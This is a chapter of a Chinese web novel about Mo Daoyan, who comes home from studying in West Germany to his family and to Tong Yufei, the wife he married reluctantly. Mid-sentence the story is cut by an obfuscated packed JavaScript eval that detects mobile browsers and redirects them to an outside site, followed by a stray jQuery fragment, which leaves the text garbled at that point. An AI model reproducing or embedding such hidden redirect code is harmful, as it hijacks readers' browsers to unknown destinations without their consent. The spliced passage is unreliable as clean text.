老城区的武陵街，东临机械厂，西有玻璃厂，向南一千米，是味精二厂，三个厂的职工混杂居住，工作日的晨时与黄昏，街上人流如织，工人们从四面八方鱼贯而出，摊贩们络绎不绝，用老旧的三轮车后箱和尼龙布垫改造的海鲜摊，自行车后座放块木板摆放着现杀的鸡肉，花红柳绿的汽水，西城名吃芝麻花生糖的香气弥漫了一条街……
莫家位于武陵街八号，是一处闹中取静的独栋院落，院内坐落着一幢红砖黑瓦的三层小洋楼，仿古典式住宅，楼房南面是草地和喷水池，池中有尊身披纱衣的少女石雕，离石雕两米远的地方，长着一棵粗壮的香樟树，要两个成年人才能合抱过来，旁边还种着两棵金桂树。这宅子原是徐氏老宅之一，莫道言的外曾祖父赠予奶奶的嫁妆，奶奶随爷爷住进军区大院后，这里一直闲置，直到爷爷去世，奶奶才带着孩子们搬了回来。
孟如卿原不是莫老太太合意的儿媳人选，但莫长林心如铁石要娶，非母亲几句威逼利诱的责骂所能动摇，暗自和孟如卿领了证，生米煮成熟饭，莫老太太一气之下，把儿子儿媳赶了出来，莫长林不肯屈服，带着妻子蜗居在机械厂老厂区改建的职工楼房，一套三十五平的小房子内，后来莫道言和弟弟相继出生，奶奶思孙心切，这才松口抛了橄榄枝，把他们一家接了回来。
莫道言随父母住进小洋楼那天，刚过完五岁生日。
洋楼第一层有四个房间，奶奶，爸妈和林姨各住一间，第四间是爸妈共用的书房，第二三层各有三间房，莫道言和佟语非在二楼完的婚，主卧外的两房间，一间书房，一间婴儿房，莫道行住三楼，有单设的琴房和运动室。
莫道行考完最后一门声乐课，学校陆续放了寒假，研究生部的师兄师姐有演出汇报，他被拉去助演，遇见了被请来做评委的师姐陈觉遥，她的出现引起了不小的轰动，莫道行和陈觉遥攀谈，不经意间说起哥哥，陈觉遥言之凿凿称，莫道言早在五日前就回国了。
哥哥回国却不回家，莫道行迷惑不解，当日演奏结束，去了趟乔卓成家，在乔家的后院，果然见到了在打网球的哥哥，得知哥哥在忙着谈新工作，莫道行眨着如墨的眼睛笑了，为嫂子的苦尽甘来而欣喜，几乎没顾得想进门两刻钟了，哥哥压根没提嫂子，但他不以为意，哥哥七情不上面，获得再了不得的成就都不露圭角，或者是近乡情怯。
莫道行接替乔卓成，挥汗如雨地与哥哥练球：“你想等尘埃落定再回去，是用实际行动向嫂子证明，再也不走了，要和她长相厮守？”
莫道言不置可否，他结婚时，弟弟还没满十五岁，读不懂他的心不甘情不愿，只知道孤标傲世的哥哥远走高飞之际，娶了个俏丽的姑娘，像一种宣誓，下定决心悬隔着千山万水，都要和她共度余生的宣誓。他在学业和事业上的选择，不会轻易被他人左右，但又不能否认，那样会让佟语非难堪。
他发了个精彩的球，轻飘飘切换内容：“爸妈还好吗？”
莫道行惆怅道：“机械厂遇到了一些难题，爸爸已经连续加三四个月的班了，妈妈在组织新年送戏下乡的活动，一样神龙见首不见尾。”
“你几号结束演出？我与你同回，可好？”
莫道行兴奋至极：“十二号学校的活动结束，我们校门口，不见不散。”
十二号转瞬即至，傍晚时分，林姨开门看到莫家两兄弟，扯着嗓门喊：“老太太，佟小姐，大少爷，是大少爷回来了！”
林姨五十六岁，八九岁就跟着姐姐出来做佣人，服侍过不少有钱有势的高门大屋，对雇主的称呼还沿袭着旧社会的叫法，老太太，老爷太太，少爷少奶奶地叫，莫长林直言不讳批了许多次，叫法腐朽，被人听了去，会当他是作威作福的资本家，孟如卿严厉警告林姨改正称谓，改不了卷铺盖走人。
莫道言曾劝解母亲，对受过压迫的人别那么苛刻，欲速则不达。
时过境迁，林姨的别扭称谓早已纠正，只是突然看到莫道言，喜出望外，那旧称便不自觉脱口而出。
林姨是看着两兄弟长大的，哥哥沉稳持重，事事周全，从不需要人操心，老二活泼好动，小嘴叭叭地生怕话茬掉在地上，最爱摆弄奶奶那架旧钢琴，虽说性格迥异，却都知礼守矩，就像小时候读书，无论功课好坏，作业总是规规矩矩完成，只不过方式大不相同，哥哥全凭自觉，弟弟则要靠莫老太太的嗓门和莫长林的戒尺。
对品学兼优的莫道言，林姨自然多几分偏爱，记得他青春期抽条时，瘦得像是托不起肩膀上的脑袋，她便变着法子做他最爱的红烧牛肉和白切鸡，后来莫道言去德国留学，她还整天担心他吃不惯外国的餐食，怕影响长个，如今打眼一看，好家伙，肉长了，个高了，肩宽腿长，仪表堂堂，倒叫她在心里暗叹，看来外国的伙食也不差呢。
望着英挺俊朗的莫道言，林姨不禁暗自惋惜这婚结得早了，以他现在的品貌，不知要迷倒多少大户人家的小姐，佟小姐虽说俊俏归俊俏，配他还差点意思。
莫老太太看到大孙子，激动得不能自已，上上下下前前后后地打量着他：“终于回来了，一个人漂泊在外，我的小言受了大苦了……”
莫道言云淡风轻地笑：“是啊，都苦胖了。”
他打开背来的两个皮包，将送给家人的礼物一一分发，给奶奶的是国外最先进的家庭备用血压计，父亲的是两瓶葡萄酒，母亲的是高端职业装，给姑姑莫长萦带了套维斯特尔森林地区的陶瓷工艺品，弟弟的是一台便携式CD播放器和一些摇滚歌手的唱片，林姨的是套护手霜，送佟语非的是一条橘红色的围巾。
莫老太太笑道：“前几日我还跟佟丫头说，要多穿色彩绚丽的衣服，你就带了一条来，这叫什么？心有灵犀，快拿去给她试戴。”
众人围着莫道言嘘寒问暖时，佟语非在厨房切水果，摆果盘，泡菊花茶，茶香四溢，飘散在空气里，她穿着贝壳色的毛衣，天蓝色直筒牛仔裤，乌黑的发被束在波点飘带发箍后，纤细的背影隐在氤氲的雾气中，看不分明。
照理说，作为妻子，她本该是与他最亲近的人，久别重逢，该有说不完的甜言蜜语，可他们的婚姻本就不寻常，这是母亲一手包办的婚事，她不过是被硬塞过来的陌生女人，除了名字，他对她知之甚少。莫道言站在厨房门口，一时竟不知该如何称呼她，叫全名太生分，跟着奶奶叫不出口，用西式称呼不庄重……
踌躇的当口，佟语非的余光已瞄到了他，转头看清来人，唇角扬起浅浅笑意：“这是送我的吗？”
“原本想送别的，临时出了点状况，这件是本地货。”
单论价钱，围巾还要贵些，这番话不是为了论证本地货和外国货的优劣，是想告诉她，她没有被区别对待。
佟语非摸着毛茸茸的呢料：“暖和，刚好用得着。”
莫道言寒暄道：“你是在报社做……编辑？”
第一次见面时，她是在报社编辑部实习，实习期满，做的不是莫道言以为的编辑，是校对，见面那天莫道言刚拿到工业大学的邀请信，正准备去西德大使馆签证的材料，一些学籍资料，高中和大学的成绩单等。他拨冗出来相亲，和她并排沿着交大正门外的迎广路，走了很久，久的原因是他不想在学校旁逗留，以防被同学们巧遇，他要去的西德缺乏劳动力，经济收入可观，出国机会来之不易，多少人想出都出不去，没人相信他走了还会回来，这个节骨眼上和一个女孩好上，就是不安好心，玩弄别人的感情。
他不是那种人，但很难证伪。
走出交大生活区的三四公里，他们在街角面馆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819101|175458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
各要碗黄鱼面，莫道言已经不记得那碗面的口味了，只记得汤头泛着奶白，像刚挤出的牛奶。饭后去了红日影院，一起看了部电影《小巷名流》，在昏暗噪杂的影厅里，她长长的睫毛颤动着，主动牵了他的手，凑过来时带着雪花膏的香气，然后在他脸上亲了一下。
她不害臊地说：“莫道言，娶我吧，只要肯娶我，你要我怎样都成。”
年轻的莫道言是一张白纸，男欢女爱远在他眼里，远不及交大参与研制的运速每秒上亿次的高性能计算机有吸引力，他被佟语非直白的言辞打得措手不及，忙划清界限，一再重申，结婚非本意，只为给母亲个交代，他日学成归来就离，他的婚姻与别人不同，不是真正的夫妻，是同志关系。
他娶了她，没做真正的夫妻，也没做同志，同志是拥有共同志向，他们不在此列。
严格说来，这个婚是她求来的，所以她对他笑的时候格外的多，她笑起来很好看，因为温和，好看之上又添了暖意：“我现在在西城日报做校对员。”
“累吗？”
“还好，你呢？”
“也好。”
他们相视而笑，再无话可谈。
夜色渐浓，林姨忙活着晚饭，问莫道言有无特殊要求，她跟着老太太看过一些译制片，里面的老外吃的牛排都是夹生的，莫道言要她照着从前做，回乡随俗，林姨欢天喜地领命去了，佟语非跟进来，和林姨一起摘菜，洗菜，切丝……
林姨准备葱姜蒜的佐料，佟语非将姜挑了出来，莫道言不吃姜。
“佟小姐有心了。”
林姨讪讪地干笑，夸赞着佟语非，心底响着另一个声音，这佟小姐是个奇人，在家不是伺候老太太，就是和她争厨房，饭前捣鼓菜，饭后洗盘子，她曾疑心佟语非别有目的，监视着她干活，想抓到错处开了她，让某个亲戚顶上，日子一长，发觉猜错了，纯粹是闲不住。
“小姐身丫鬟命，飞上枝头也变不了凤凰。”
林姨时常这么想着。有些人啊，天生就是劳碌命，享不得清福的。
莫道行趁机向哥哥“告状”：“嫂子有时很过分，太勤快了，衬托得我像只大懒猪，哥，你要多带嫂子出去娱乐娱乐，小区南边的小广场，每天都有人跳舞，音乐和舞蹈会让亲密关系突飞猛进。”
莫道言忽地问：“钢琴练到几级了？”
全国钢琴考级活动，最早是从八七年的广州钢琴学会发起的，当时报名的只有四十多人，级别设有一至三级，自此拉开了大陆音乐考级的序幕，考试规模日益壮大，西城紧随几大城之后，在去年暑假首次举行了钢琴考级。
莫道行乖笑道：“考了个二级，但我拿到了全国钢琴大赛成人组的一等奖，”
哥哥在众人眼中天资过人，莫道行望尘莫及，但尺有所短寸有所长，哥哥是个地地道道的工科生，不喜风花雪月，乐器是他唯独能压哥哥一头的，于是他带哥哥去了琴房，迫不及待地展示着不可多得的天赋。他弹了首《莫斯科郊外的夜晚》，旋律响起，淳朴浓烈的俄罗斯风情呼之欲出，但莫道言又一次做了音盲，对曲子没任何反应，目光锁在挂衣架上一排红黄蓝绿的毛线围巾。
莫道行狡黠地笑着：“都是手工织的，给我织围巾的姑娘心灵手巧吧？”
“恋爱了？”
“岂敢岂敢，送我围巾的小姐早被人抢去了，远在天边，近在眼前，就是你的太太我的嫂子佟语非小姐，嫂子每年冬天都会给我们每人织一条颜色不同的围巾，哥，你的那份在你们房间的红木箱里放着，嫂子用塑料膜包着，还放了樟脑丸，唉，早知道我就通知你，给嫂子换件礼物了。”
他拨了下琴弦，在明快的音律中补了一句。
“不过你回来了，她有了最好的礼物。”